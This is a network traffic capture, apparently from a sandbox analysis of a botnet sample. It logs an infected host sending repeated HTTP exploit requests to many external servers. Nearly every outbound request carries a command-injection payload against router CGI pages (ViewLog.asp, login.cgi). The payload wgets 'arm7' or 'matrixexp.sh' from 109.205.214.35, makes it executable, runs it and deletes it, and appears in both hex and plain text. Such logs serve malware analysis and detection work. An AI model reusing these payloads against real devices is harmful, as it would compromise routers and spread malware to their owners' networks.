Mar 21, 2024 05:27:07.144890070 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:11.277693987 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:11.484781981 CET	761	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:27:11 GMT Content-Type: text/html Content-Length: 596 Connection: close ETag: "5f06c3f2-254" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 68 75 65 20 70 65 72 73 6f 6e 61 6c 20 77 69 72 65 6c 65 73 73 20 6c 69 67 68 74 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 68 69 6c 69 70 73 2d 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 70 68 69 6c 69 70 73 2d 62 6c 75 65 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 70 68 69 6c 69 70 73 2d 6c 6f 67 6f 22 20 61 6c 74 3d 22 50 68 69 6c 69 70 73 22 20 2f 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 2d 6c 6f 67 6f 22 20 73 72 63 3d 22 2f 68 75 65 2d 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 74 3d 22 68 75 65 20 70 65 72 73 6f 6e 61 6c 20 77 69 72 65 6c 65 73 73 20 6c 69 67 68 74 69 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 68 75 65 2d 63 6f 6c 6f 72 2d 6c 69 6e 65 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 63 6f 6c 6f 72 6c 69 6e 65 22 20 2f 3e 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 4f 6f 70 73 2c 20 74 68 65 72 65 20 61 70 70 65 61 72 73 20 74 6f 20 62 65 20 6e 6f 20 6c 69 67 68 74 69 6e 67 20 68 65 72 65 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head> <title>hue personal wireless lighting</title> <link rel="stylesheet" type="text/css" href="/index.css"></head><body> <div class="philips-header"> <img src="/philips-blue.png" class="philips-logo" alt="Philips" /> </div> <div class="header"> <img class="header-logo" src="/hue-logo.png" alt="hue personal wireless lighting" /> <img src="/hue-color-line.png" class="colorline" /> </div> <div class="error">Oops, there appears to be no lighting here</div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1739	192.168.2.23	49772	213.167.32.82	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:07.157058001 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:11.277689934 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1740	192.168.2.23	54252	200.1.125.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:07.215912104 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:08.589546919 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:10.182235956 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:13.575414896 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1741	192.168.2.23	50326	178.32.154.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:07.383028984 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:08.263539076 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:08.425201893 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:27:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Mar 21, 2024 05:27:08.425297022 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:27:08 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1742	192.168.2.23	39500	212.43.115.25	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:07.390094042 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:07.697252989 CET	516	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 19 Sep 2019 02:03:24 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1743	192.168.2.23	10952	213.234.97.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:07.717192888 CET	31	IN	Data Raw: 52 65 73 65 74 20 66 72 6f 6d 20 6c 6f 63 61 6c 3a 28 31 35 36 32 29 20 73 65 71 20 3d 20 30 Data Ascii: Reset from local:(1562) seq = 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1744	192.168.2.23	49796	213.167.32.82	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.280422926 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:08.525393963 CET	756	IN	HTTP/1.1 302 Found Date: Thu, 21 Mar 2024 04:27:08 GMT Location: / Content-Length: 185 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 37 3a 30 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="/">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:27:08 GMTContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1745	192.168.2.23	34102	212.116.61.143	443

Timestamp	Bytes transferred	Direction	Data
